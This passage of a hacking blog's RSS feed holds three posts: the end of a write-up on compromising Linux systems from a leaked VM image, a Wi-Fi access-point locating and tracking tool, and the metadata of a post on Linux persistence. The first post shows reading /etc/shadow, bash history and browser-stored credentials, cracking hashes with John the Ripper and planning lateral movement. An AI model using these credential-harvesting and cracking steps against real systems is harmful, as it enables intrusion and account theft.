  1342. <p>Mega provides 20 GB of free storage per account, which is sufficient. If you need more, additional accounts or a paid plan will do the job.</p>
  1343.  
  1344.  
  1345.  
  1346. <h2 class="wp-block-heading"><a></a><strong>Loading the Virtual Machine in VMWare</strong></h2>
  1347.  
  1348.  
  1349.  
  1350. <p>Once the file was safely downloaded, we opened VMWare and imported it. In this case, it was a <strong>.vmdk</strong> file, which is natively supported by VMWare.</p>
  1351.  
  1352.  
  1353.  
  1354. <p></p>
  1355.  
  1356.  
  1357.  
  1358. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="812" height="188" src="https://hackers-arise.com/wp-content/uploads/2025/08/3-downloading-the-snapshot.webp" alt="" class="wp-image-17060" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/3-downloading-the-snapshot.webp 812w, https://hackers-arise.com/wp-content/uploads/2025/08/3-downloading-the-snapshot-300x69.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/08/3-downloading-the-snapshot-768x178.webp 768w" sizes="(max-width: 812px) 100vw, 812px" /></figure>
  1359.  
  1360.  
  1361.  
  1362. <p></p>
  1363.  
  1364.  
  1365.  
  1366. <p>During the import process, VMWare will prompt for a name for the virtual machine and automatically generate a folder in your local environment. Errors can occasionally occur during import. If so, clicking “Retry” generally resolves the issue.</p>
  1367.  
  1368.  
  1369.  
  1370. <p></p>
  1371.  
  1372.  
  1373.  
  1374. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="730" height="384" src="https://hackers-arise.com/wp-content/uploads/2025/08/4-importing-the-snapshot-to-vmware.webp" alt="" class="wp-image-17061" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/4-importing-the-snapshot-to-vmware.webp 730w, https://hackers-arise.com/wp-content/uploads/2025/08/4-importing-the-snapshot-to-vmware-300x158.webp 300w" sizes="(max-width: 730px) 100vw, 730px" /></figure>
  1375.  
  1376.  
  1377.  
  1378. <p></p>
  1379.  
  1380.  
  1381.  
  1382. <p>Once the VM was successfully imported, we attempted to boot it. The machine started as expected, but we were greeted with a login screen requiring credentials.</p>
  1383.  
  1384.  
  1385.  
  1386. <p></p>
  1387.  
  1388.  
  1389.  
  1390. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="795" height="645" src="https://hackers-arise.com/wp-content/uploads/2025/08/5-booting-the-virtual-machine.webp" alt="" class="wp-image-17062" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/5-booting-the-virtual-machine.webp 795w, https://hackers-arise.com/wp-content/uploads/2025/08/5-booting-the-virtual-machine-300x243.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/08/5-booting-the-virtual-machine-768x623.webp 768w" sizes="(max-width: 795px) 100vw, 795px" /></figure>
  1391.  
  1392.  
  1393.  
  1394. <p></p>
  1395.  
  1396.  
  1397.  
  1398. <p>At this point, you might be tempted to guess weak passwords manually, but a more systematic approach involves unpacking the virtual disk to inspect the filesystem directly.</p>
  1399.  
  1400.  
  1401.  
  1402. <h2 class="wp-block-heading"><a></a><strong>Unpacking the Virtual Disk</strong></h2>
  1403.  
  1404.  
  1405.  
  1406. <p>The <strong>.vmdk</strong> file can be unpacked using<strong> 7-Zip</strong>. The following command does the job in PowerShell:</p>
  1407.  
  1408.  
  1409.  
  1410. <p><strong>PS &gt; &amp; &#8220;C:\Program Files\7-Zip\7z.exe&#8221; x .\vmc-disk1.vmdk -oC:\VM-Extract -y</strong></p>
  1411.  
  1412.  
  1413.  
  1414. <p></p>
  1415.  
  1416.  
  1417.  
  1418. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="422" src="https://hackers-arise.com/wp-content/uploads/2025/08/6-extracting-files-from-the-snapshot-for-digital-forensics-1024x422.webp" alt="" class="wp-image-17063" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/6-extracting-files-from-the-snapshot-for-digital-forensics-1024x422.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/08/6-extracting-files-from-the-snapshot-for-digital-forensics-300x124.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/08/6-extracting-files-from-the-snapshot-for-digital-forensics-768x316.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/08/6-extracting-files-from-the-snapshot-for-digital-forensics.webp 1083w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  1419.  
  1420.  
  1421.  
  1422. <p></p>
  1423.  
  1424.  
  1425.  
  1426. <p>This extracts the contents of the virtual disk into a new folder called VM-Extract on the C drive. In this case, we obtained three disk image files. The next step was to mount these images to access their contents.</p>
  1427.  
  1428.  
  1429.  
  1430. <p></p>
  1431.  
  1432.  
  1433.  
  1434. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="715" height="127" src="https://hackers-arise.com/wp-content/uploads/2025/08/7-files-extracted-from-the-snapshot.webp" alt="" class="wp-image-17064" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/7-files-extracted-from-the-snapshot.webp 715w, https://hackers-arise.com/wp-content/uploads/2025/08/7-files-extracted-from-the-snapshot-300x53.webp 300w" sizes="(max-width: 715px) 100vw, 715px" /></figure>
  1435.  
  1436.  
  1437.  
  1438. <p></p>
  1439.  
  1440.  
  1441.  
  1442. <h2 class="wp-block-heading"><strong>Mounting Linux Filesystems on Windows</strong></h2>
  1443.  
  1444.  
  1445.  
  1446. <p>Since Windows cannot interpret Linux filesystems by default, attempting to mount them natively results in an error or a prompt to format the disk. To avoid this, we used <strong>DiskInternals Linux Reader</strong>, a free tool that can interpret and mount EXT-based filesystems.</p>
  1447.  
  1448.  
  1449.  
  1450. <p></p>
  1451.  
  1452.  
  1453.  
  1454. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="626" height="284" src="https://hackers-arise.com/wp-content/uploads/2025/08/8-showcasing-DiskInternals-Linux-Reader.webp" alt="" class="wp-image-17065" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/8-showcasing-DiskInternals-Linux-Reader.webp 626w, https://hackers-arise.com/wp-content/uploads/2025/08/8-showcasing-DiskInternals-Linux-Reader-300x136.webp 300w" sizes="(max-width: 626px) 100vw, 626px" /></figure>
  1455.  
  1456.  
  1457.  
  1458. <p></p>
  1459.  
  1460.  
  1461.  
  1462. <p>Upon launching the tool, go to <strong>Drives > Mount Image</strong>, select the <strong>Raw Disk Images</strong> option, and then choose all the extracted image files.</p>
  1463.  
  1464.  
  1465.  
  1466. <p></p>
  1467.  
  1468.  
  1469.  
  1470. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="618" height="382" src="https://hackers-arise.com/wp-content/uploads/2025/08/9-setting-up-DiskInternals-Linux-Reader.webp" alt="" class="wp-image-17066" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/9-setting-up-DiskInternals-Linux-Reader.webp 618w, https://hackers-arise.com/wp-content/uploads/2025/08/9-setting-up-DiskInternals-Linux-Reader-300x185.webp 300w" sizes="(max-width: 618px) 100vw, 618px" /></figure>
  1471.  
  1472.  
  1473.  
  1474. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="938" height="525" src="https://hackers-arise.com/wp-content/uploads/2025/08/10-selecting-extracted-inmages-for-mounting.webp" alt="" class="wp-image-17067" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/10-selecting-extracted-inmages-for-mounting.webp 938w, https://hackers-arise.com/wp-content/uploads/2025/08/10-selecting-extracted-inmages-for-mounting-300x168.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/08/10-selecting-extracted-inmages-for-mounting-768x430.webp 768w" sizes="(max-width: 938px) 100vw, 938px" /></figure>
  1475.  
  1476.  
  1477.  
  1478. <p></p>
  1479.  
  1480.  
  1481.  
  1482. <p>Once completed, you should see the Linux filesystem appear in the Linux Reader interface, allowing you to navigate through its structure.</p>
  1483.  
  1484.  
  1485.  
  1486. <p></p>
  1487.  
  1488.  
  1489.  
  1490. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="737" height="121" src="https://hackers-arise.com/wp-content/uploads/2025/08/11-the-linux-drive-has-been-mounted.webp" alt="" class="wp-image-17068" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/11-the-linux-drive-has-been-mounted.webp 737w, https://hackers-arise.com/wp-content/uploads/2025/08/11-the-linux-drive-has-been-mounted-300x49.webp 300w" sizes="(max-width: 737px) 100vw, 737px" /></figure>
  1491.  
  1492.  
  1493.  
  1494. <p></p>
  1495.  
  1496.  
  1497.  
  1498. <h2 class="wp-block-heading"><strong>Initial Analysis</strong></h2>
  1499.  
  1500.  
  1501.  
  1502. <p>With access to the mounted filesystem, our first goal was to recover the stored credentials. System administrators frequently reuse passwords, so even stale credentials can provide lateral movement opportunities. Additionally, Linux systems often lack comprehensive security tooling, making them ideal for establishing long-term persistence.</p>
  1503.  
  1504.  
  1505.  
  1506. <p></p>
  1507.  
  1508.  
  1509.  
  1510. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="639" src="https://hackers-arise.com/wp-content/uploads/2025/08/12-analyzing-shadow-file-1024x639.webp" alt="" class="wp-image-17069" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/12-analyzing-shadow-file-1024x639.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/08/12-analyzing-shadow-file-300x187.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/08/12-analyzing-shadow-file-768x479.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/08/12-analyzing-shadow-file.webp 1239w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  1511.  
  1512.  
  1513.  
  1514. <p></p>
  1515.  
  1516.  
  1517.  
  1518. <p>We began by locating the <strong>/etc/shadow </strong>file, which stores password hashes. On this system, the hashing algorithm used was yescrypt, a modern and secure scheme not currently supported by Hashcat. That said, John the Ripper does support it, and we’ll return to this shortly.</p>
  1519.  
  1520.  
  1521.  
  1522. <p>Next, we exported <strong>.bash_history</strong> from <strong>/home/user/ </strong>and <strong>/root/</strong>. This file logs command history for the user and often includes IP addresses, script execution details, and occasionally even plaintext passwords. If Linux Reader fails to display the file due to size limitations, right-click and export it to your Windows host for proper inspection.</p>
  1523.  
  1524.  
  1525.  
  1526. <p></p>
  1527.  
  1528.  
  1529.  
  1530. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="901" height="482" src="https://hackers-arise.com/wp-content/uploads/2025/08/13-analyzing-the-history-file.webp" alt="" class="wp-image-17070" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/13-analyzing-the-history-file.webp 901w, https://hackers-arise.com/wp-content/uploads/2025/08/13-analyzing-the-history-file-300x160.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/08/13-analyzing-the-history-file-768x411.webp 768w" sizes="(max-width: 901px) 100vw, 901px" /></figure>
  1531.  
  1532.  
  1533.  
  1534. <p></p>
  1535.  
  1536.  
  1537.  
  1538. <p>Beyond bash history, another good target is the crontab directory. Some cron jobs use embedded credentials in scripts for automated tasks, which can also be repurposed for access.</p>
  1539.  
  1540.  
  1541.  
  1542. <h2 class="wp-block-heading"><a></a><strong>Password Recovery Using John the Ripper</strong></h2>
  1543.  
  1544.  
  1545.  
  1546. <p>As Hashcat cannot currently handle yescrypt, we opted to use John the Ripper. The syntax is straightforward:</p>
  1547.  
  1548.  
  1549.  
  1550. <p><strong>kali &gt; sudo john &#8211;format=crypt &#8211;wordlist=rockyou.txt hashes.txt</strong></p>
  1551.  
  1552.  
  1553.  
  1554. <p></p>
  1555.  
  1556.  
  1557.  
  1558. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="182" src="https://hackers-arise.com/wp-content/uploads/2025/08/14-cracking-hash-with-john-the-ripper-1024x182.webp" alt="" class="wp-image-17071" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/14-cracking-hash-with-john-the-ripper-1024x182.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/08/14-cracking-hash-with-john-the-ripper-300x53.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/08/14-cracking-hash-with-john-the-ripper-768x136.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/08/14-cracking-hash-with-john-the-ripper.webp 1053w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  1559.  
  1560.  
  1561.  
  1562. <p></p>
  1563.  
  1564.  
  1565.  
  1566. <p>The output might look like an error, especially if the cracked password is something as simple as “1”, but that was indeed the correct password for both user accounts on this machine. We tested it, and it worked. We had successfully logged into the virtual machine.</p>
  1567.  
  1568.  
  1569.  
  1570. <p></p>
  1571.  
  1572.  
  1573.  
  1574. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="544" src="https://hackers-arise.com/wp-content/uploads/2025/08/15-unlocking-the-vm-1024x544.webp" alt="" class="wp-image-17072" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/15-unlocking-the-vm-1024x544.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/08/15-unlocking-the-vm-300x160.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/08/15-unlocking-the-vm-768x408.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/08/15-unlocking-the-vm-1536x817.webp 1536w, https://hackers-arise.com/wp-content/uploads/2025/08/15-unlocking-the-vm.webp 1815w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  1575.  
  1576.  
  1577.  
  1578. <p></p>
  1579.  
  1580.  
  1581.  
  1582. <h2 class="wp-block-heading"><strong>Post-Access Exploration</strong></h2>
  1583.  
  1584.  
  1585.  
  1586. <p>With access to the virtual environment, we began exploring more thoroughly. One of the first things we reviewed was the browser history, followed by saved credentials in applications like Mozilla Firefox. We also checked for authentication logs, Remmina session logs, which could provide saved credentials or remote system details.</p>
  1587.  
  1588.  
  1589.  
  1590. <p></p>
  1591.  
  1592.  
  1593.  
  1594. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="343" src="https://hackers-arise.com/wp-content/uploads/2025/08/16-found-credentials-in-the-browser-1024x343.webp" alt="" class="wp-image-17073" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/16-found-credentials-in-the-browser-1024x343.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/08/16-found-credentials-in-the-browser-300x100.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/08/16-found-credentials-in-the-browser-768x257.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/08/16-found-credentials-in-the-browser.webp 1142w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  1595.  
  1596.  
  1597.  
  1598. <p></p>
  1599.  
  1600.  
  1601.  
  1602. <p>Indeed, we discovered a stored credential for a web service in Firefox. With this information, we scanned the internal network for hosts running the same service. If reachable, such services can often be exploited either by reusing the credentials or through a vulnerability in the service itself. In some cases, this leads to remote code execution and full system compromise.</p><p>The post <a href="https://hackers-arise.com/using-digital-forensic-techniques-to-compromise-russian-linux-systems/">Using Digital Forensic Techniques to Compromise Russian Linux Systems</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></content:encoded>
  1603. <wfw:commentRss>https://hackers-arise.com/using-digital-forensic-techniques-to-compromise-russian-linux-systems/feed/</wfw:commentRss>
  1604. <slash:comments>0</slash:comments>
  1605. </item>
  1606. <item>
  1607. <title>Python Basics for Hackers: Building a Wi-Fi Scanner Capable of Locating the Position of Local AP&#8217;s</title>
  1608. <link>https://hackers-arise.com/python-basics-for-hackers-building-a-wi-fi-scanner-capable-of-locating-the-position-of-local-aps/</link>
  1609. <comments>https://hackers-arise.com/python-basics-for-hackers-building-a-wi-fi-scanner-capable-of-locating-the-position-of-local-aps/#respond</comments>
  1610. <dc:creator><![CDATA[OTW]]></dc:creator>
  1611. <pubDate>Sat, 04 Oct 2025 15:46:24 +0000</pubDate>
  1612. <category><![CDATA[Python]]></category>
  1613. <category><![CDATA[Scripting]]></category>
  1614. <category><![CDATA[Wi-Fi Hacking]]></category>
  1615. <guid isPermaLink="false">https://hackers-arise.com/?p=16533</guid>
  1616.  
  1617. <description><![CDATA[<p>Hackers Arise Wi-Fi Radar Welcome back, aspiring cyberwarriors! One of our advanced student who goes by the handle Mike211 has developed a Wi-Fi scanning script that we want to share with all of you. What makes this script different and special is it&#8217;s ability to locate the Wi-Fi access points (AP) in your area. I&#8221;ll [&#8230;]</p>
  1618. <p>The post <a href="https://hackers-arise.com/python-basics-for-hackers-building-a-wi-fi-scanner-capable-of-locating-the-position-of-local-aps/">Python Basics for Hackers: Building a Wi-Fi Scanner Capable of Locating the Position of Local AP’s</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></description>
  1619. <content:encoded><![CDATA[<h1 class="wp-block-heading">Hackers Arise Wi-Fi Radar </h1>
  1620.  
  1621.  
  1622.  
  1623. <p></p>
  1624.  
  1625.  
  1626.  
  1627. <h2 class="wp-block-heading">Welcome back, aspiring cyberwarriors!</h2>
  1628.  
  1629.  
  1630.  
  1631. <p></p>
  1632.  
  1633.  
  1634.  
  1635. <p>One of our advanced student who goes by the handle Mike211 has developed a Wi-Fi scanning script that we want to share with all of you. What makes this script different and special is it&#8217;s ability to locate the Wi-Fi access points (AP) in your area.</p>
  1636.  
  1637.  
  1638.  
  1639. <p></p>
  1640.  
  1641.  
  1642.  
  1643. <p>I&#8221;ll let him introduce his new tool below!</p>
  1644.  
  1645.  
  1646.  
  1647. <p>In the Wi-Fi domain, raw signal strength and MAC identifiers can reveal more than just the presence of networks — they can open a path to estimating physical distance, mapping access points, and even executing wardriving missions or indoor localization without GPS. If you’ve ever wanted to push the boundaries of Wi-Fi auditing beyond mere detection, Hackers Arise Radar is your next-level tool.</p>
  1648.  
  1649.  
  1650.  
  1651. <h2 class="wp-block-heading">Why this Tool is Game&nbsp;Changing</h2>
  1652.  
  1653.  
  1654.  
  1655. <p>Just like Wigle.net collects crowdsourced location data of APs, this project allows you to discover and map Wi-Fi access points in real-time using only your Linux laptop or USB Wi-Fi adapter.  </p>
  1656.  
  1657.  
  1658.  
  1659. <p>With this tool, you’ll get:</p>
  1660.  
  1661.  
  1662.  
  1663. <p>&#8211; Continuous scans over 2.4 GHz, 5 GHz, 6 GHz, or all bands<br>&#8211; Fully automated interface setup (monitor mode, regulatory domain, TX power)<br>&#8211; Filtered and smoothed RSSI values with Kalman filtering<br>&#8211; On-demand calibration for RSSI-to-distance<br>&#8211; Spring-model map generation to visualize spatial relationships<br>&#8211; Exportable logs, visuals, and calibration profiles for future use</p>
  1664.  
  1665.  
  1666.  
  1667. <p>Whether you&#8217;re driving through a city, walking indoors, or performing a pentest, you can leverage this tool for actionable location data.</p>
  1668.  
  1669.  
  1670.  
  1671. <h2 class="wp-block-heading">How it Works – Step by Step</h2>
  1672.  
  1673.  
  1674.  
  1675. <p class="has-medium-font-size"><strong>Step #1. Launch &amp; Configuration</strong></p>
  1676.  
  1677.  
  1678.  
  1679. <p><br>Start the script:</p>
  1680.  
  1681.  
  1682.  
  1683. <p><br>kali > sudo python3 Hackers_Arise_Radar.py</p>
  1684.  
  1685.  
  1686.  
  1687. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="579" height="229" src="https://hackers-arise.com/wp-content/uploads/2025/08/Hackers-arise-radar-initiation.png" alt="" class="wp-image-16717" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/Hackers-arise-radar-initiation.png 579w, https://hackers-arise.com/wp-content/uploads/2025/08/Hackers-arise-radar-initiation-300x119.png 300w" sizes="(max-width: 579px) 100vw, 579px" /></figure>
  1688.  
  1689.  
  1690.  
  1691. <p>You’ll be greeted with a colorful terminal interface that guides you through:</p>
  1692.  
  1693.  
  1694.  
  1695. <p><br>&#8211; Selecting your Wi-Fi interface<br>&#8211; Choosing the operational environment (indoor, urban, open space)<br>&#8211; Selecting scan band (2.4 GHz / 5 GHz / 6 GHz / All)</p>
  1696.  
  1697.  
  1698.  
  1699. <p>No need to manually enable monitor mode – the script automatically puts your adapter into monitor mode, sets the regulatory domain, and adjusts TX power based on your choices.</p>
  1700.  
  1701.  
  1702.  
  1703. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="899" height="822" src="https://hackers-arise.com/wp-content/uploads/2025/08/hackers-arise-radar-menu.png" alt="" class="wp-image-16720" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/hackers-arise-radar-menu.png 899w, https://hackers-arise.com/wp-content/uploads/2025/08/hackers-arise-radar-menu-300x274.png 300w, https://hackers-arise.com/wp-content/uploads/2025/08/hackers-arise-radar-menu-768x702.png 768w" sizes="(max-width: 899px) 100vw, 899px" /></figure>
  1704.  
  1705.  
  1706.  
  1707. <p class="has-medium-font-size"><strong>Step #2. Real-Time Wi-Fi Scanning</strong></p>
  1708.  
  1709.  
  1710.  
  1711. <p><br>The script uses airodump-ng behind the scenes to:<br>&#8211; Continuously scan surrounding Wi-Fi networks<br>&#8211; Record BSSID, SSID, RSSI, channel, frequency band<br>&#8211; Stream live updates through a structured CSV output for parsing and analysis</p>
  1712.  
  1713.  
  1714.  
  1715. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="720" height="598" src="https://hackers-arise.com/wp-content/uploads/2025/08/hackersArise-Radar-scan.png" alt="" class="wp-image-16718" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/hackersArise-Radar-scan.png 720w, https://hackers-arise.com/wp-content/uploads/2025/08/hackersArise-Radar-scan-300x249.png 300w" sizes="(max-width: 720px) 100vw, 720px" /></figure>
  1716.  
  1717.  
  1718.  
  1719. <p class="has-medium-font-size"><strong>Step #3. RSSI Filtering &amp; Analytics</strong></p>
  1720.  
  1721.  
  1722.  
  1723. <p><br>To reduce RSSI noise, the script implements a Kalman filter This Kalman filter:</p>
  1724.  
  1725.  
  1726.  
  1727. <p><br>&#8211; Smooths out transient signal spikes<br>&#8211; Creates a rolling average of RSSI per BSSID<br>&#8211; Improves distance estimation consistency</p>
  1728.  
  1729.  
  1730.  
  1731. <p class="has-medium-font-size"><strong>Step #4. Estimating Distance from RSSI</strong></p>
  1732.  
  1733.  
  1734.  
  1735. <p><br>The tool calculates the distance using a log-distance path loss model such as:</p>
  1736.  
  1737.  
  1738.  
  1739. <p><br>d = 10^((TX_power &#8211; RSSI) / (10 * n))</p>
  1740.  
  1741.  
  1742.  
  1743. <p>Where:<br>&#8211; TX_power and path-loss exponent n are customizable or calculated through calibration<br>&#8211; RSSI is dynamically filtered<br>&#8211; Distance is measured in meters</p>
  1744.  
  1745.  
  1746.  
  1747. <p class="has-medium-font-size"><strong>Step #5. Calibration Engine</strong></p>
  1748.  
  1749.  
  1750.  
  1751. <p><br>The included calibration module lets you:</p>
  1752.  
  1753.  
  1754.  
  1755. <p><br>&#8211; Input known RSSI and real-world distances<br>&#8211; Fit an optimized curve per BSSID<br>&#8211; Automatically store TX power, path-loss exponent, and R² fit for reuse<br>&#8211; Flag poorly calibrated networks with suggestions</p>
  1756.  
  1757.  
  1758.  
  1759. <p class="has-medium-font-size"><strong>Step #6. Visual Mapping – Spring Model Layout</strong></p>
  1760.  
  1761.  
  1762.  
  1763. <p><br>Once enough data is gathered, the tool uses a spring-model algorithm to create a map:<br>&#8211; Nodes (BSSIDs) are arranged based on estimated distances<br>&#8211; Forces push/pull the layout into geometric balance<br>&#8211; Labels show SSIDs, bands, and estimated distance in meters</p>
  1764.  
  1765.  
  1766.  
  1767. <p></p>
  1768.  
  1769.  
  1770.  
  1771. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="803" height="644" src="https://hackers-arise.com/wp-content/uploads/2025/08/Hackers-ARise-Radar-map.png" alt="" class="wp-image-16719" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/Hackers-ARise-Radar-map.png 803w, https://hackers-arise.com/wp-content/uploads/2025/08/Hackers-ARise-Radar-map-300x241.png 300w, https://hackers-arise.com/wp-content/uploads/2025/08/Hackers-ARise-Radar-map-768x616.png 768w" sizes="(max-width: 803px) 100vw, 803px" /></figure>
  1772.  
  1773.  
  1774.  
  1775. <p class="has-medium-font-size"><strong>Step #7. Regulatory &amp; Power Tuning Mode</strong></p>
  1776.  
  1777.  
  1778.  
  1779. <p><br>The tool isn&#8217;t just a scanner — it includes a dedicated utility mode to:</p>
  1780.  
  1781.  
  1782.  
  1783. <p><br>&#8211; Set regulatory domain (iw reg set &lt;country_code>)<br>&#8211; Modify TX power (in dBm)<br>&#8211; Retrieve and display current wireless driver info<br>&#8211; Perform diagnostics before scanning</p>
  1784.  
  1785.  
  1786.  
  1787. <h2 class="wp-block-heading">Focus Mode: Tracking a Single Access Point</h2>
  1788.  
  1789.  
  1790.  
  1791. <p>Sometimes you just need to follow one Wi-Fi target — whether it&#8217;s a rogue device, a signal beacon, or an access point you&#8217;re using for indoor positioning.</p>
  1792.  
  1793.  
  1794.  
  1795. <p>Hackers Arise Radar includes a specialized mode for scanning and tracking a single BSSID:</p>
  1796.  
  1797.  
  1798.  
  1799. <p><br>&#8211; Select a known access point from your previously scanned list<br>&#8211; The tool locks onto that specific MAC address using:<br>  airodump-ng &#8211;bssid &lt;target> &#8211;channel &lt;ch><br>&#8211; RSSI values are filtered using a Kalman filter<br>&#8211; Distance estimation is updated in real-time using the calibration profile<br>&#8211; Live updates show proximity and confidence</p>
  1800.  
  1801.  
  1802.  
  1803. <h2 class="wp-block-heading">Real&nbsp;World Use Cases</h2>
  1804.  
  1805.  
  1806.  
  1807. <p>&#8211; Wardriving Missions: Continuous logs while driving<br>&#8211; Indoor Wireless Mapping: Signal-based AP triangulation, spatial layouts<br>&#8211; Security &amp; Pentesting Recon: Detect new/rogue APs, estimate proximity<br>&#8211; Wi-Fi Optimization: Adjust regulatory domain / TX power, evaluate coverage<br>&#8211; Wireless Simulation &amp; Testing: Simulate RSSI data with simulate_rss_matrix.py</p>
  1808.  
  1809.  
  1810.  
  1811. <h2 class="wp-block-heading">Requirements &amp; Setup</h2>
  1812.  
  1813.  
  1814.  
  1815. <p>&#8211; Platform: Linux (Kali/Debian-based)<br>&#8211; Python: 3.7+<br>&#8211; Privileges: sudo required<br>&#8211; External Tools: aircrack-ng, iw, ip, ethtool<br>&#8211; Python Libraries: numpy, scipy, pandas, matplotlib, adjustText</p>
  1816.  
  1817.  
  1818.  
  1819. <p>Launch simply with:</p>
  1820.  
  1821.  
  1822.  
  1823. <p><br>kali> sudo python3 Hackers_Arise_Radar.py</p>
  1824.  
  1825.  
  1826.  
  1827. <p><br>No need to prep interfaces — the tool handles it all.</p>
  1828.  
  1829.  
  1830.  
  1831. <h2 class="wp-block-heading">Summary</h2>
  1832.  
  1833.  
  1834.  
  1835. <p>Hackers Arise Radar is more than just a scanner. It is a fully interactive system for Wi-Fi discovery, proximity estimation, map generation, and interface configuration — all controlled through an elegant terminal menu.</p>
  1836.  
  1837.  
  1838.  
  1839. <p>Built for hackers, engineers, educators, and hobbyists, this tool empowers you to:<br>&#8211; Visualize your wireless environment<br>&#8211; Optimize TX power and regulatory settings<br>&#8211; Log and export clean data<br>&#8211; Build wireless maps with zero GPS</p>
  1840.  
  1841.  
  1842.  
  1843. <p>Start scanning smarter — not harder.</p>
  1844.  
  1845.  
  1846.  
  1847. <p></p>
  1848.  
  1849.  
  1850.  
  1851. <p>For more information on this unique and powerful scanner, see our Wi-Fi Hacking training.</p>
  1852.  
  1853.  
  1854.  
  1855. <p></p><p>The post <a href="https://hackers-arise.com/python-basics-for-hackers-building-a-wi-fi-scanner-capable-of-locating-the-position-of-local-aps/">Python Basics for Hackers: Building a Wi-Fi Scanner Capable of Locating the Position of Local AP’s</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></content:encoded>
  1856. <wfw:commentRss>https://hackers-arise.com/python-basics-for-hackers-building-a-wi-fi-scanner-capable-of-locating-the-position-of-local-aps/feed/</wfw:commentRss>
  1857. <slash:comments>0</slash:comments>
  1858. </item>
  1859. <item>
  1860. <title>Advanced Linux Persistence: Strategies for Remaining Inside a Linux Target</title>
  1861. <link>https://hackers-arise.com/advanced-linux-persistence-strategies-for-remaining-inside-a-linux-target/</link>
  1862. <dc:creator><![CDATA[Co11ateral]]></dc:creator>
  1863. <pubDate>Fri, 03 Oct 2025 16:40:40 +0000</pubDate>
  1864. <category><![CDATA[Command and Control (C2)]]></category>
  1865. <category><![CDATA[Cyberwar]]></category>
  1866. <category><![CDATA[Cyberwarrior]]></category>
  1867. <category><![CDATA[Hacking]]></category>
  1868. <category><![CDATA[Linux]]></category>
  1869. <category><![CDATA[advanced linux persistence]]></category>
  1870. <category><![CDATA[configuration persistence]]></category>
  1871. <category><![CDATA[covert linux access]]></category>
  1872. <category><![CDATA[cyberwar]]></category>
  1873. <category><![CDATA[gsocket tunneling]]></category>
  1874. <category><![CDATA[HACKING]]></category>
  1875. <category><![CDATA[in-memory persistence]]></category>
  1876. <category><![CDATA[LD_PRELOAD techniques]]></category>
  1877. <category><![CDATA[linux persistence advanced]]></category>
  1878. <category><![CDATA[linux post-exploitation]]></category>
  1879. <category><![CDATA[linux red team]]></category>
  1880. <category><![CDATA[long-term access linux]]></category>
  1881. <category><![CDATA[memory-only payloads]]></category>
  1882. <category><![CDATA[os-configuration abuse]]></category>
  1883. <category><![CDATA[persistence and evasion]]></category>
  1884. <category><![CDATA[persistence guide linux]]></category>
  1885. <category><![CDATA[post-exploitation techniques]]></category>
  1886. <category><![CDATA[rc.local persistence]]></category>
  1887. <category><![CDATA[stealth persistence methods]]></category>
  1888. <category><![CDATA[stealthy backdoors]]></category>
  1889. <category><![CDATA[tunneling for persistence]]></category>
  1890. <guid isPermaLink="false">https://hackers-arise.com/?p=17343</guid>
  1891.  
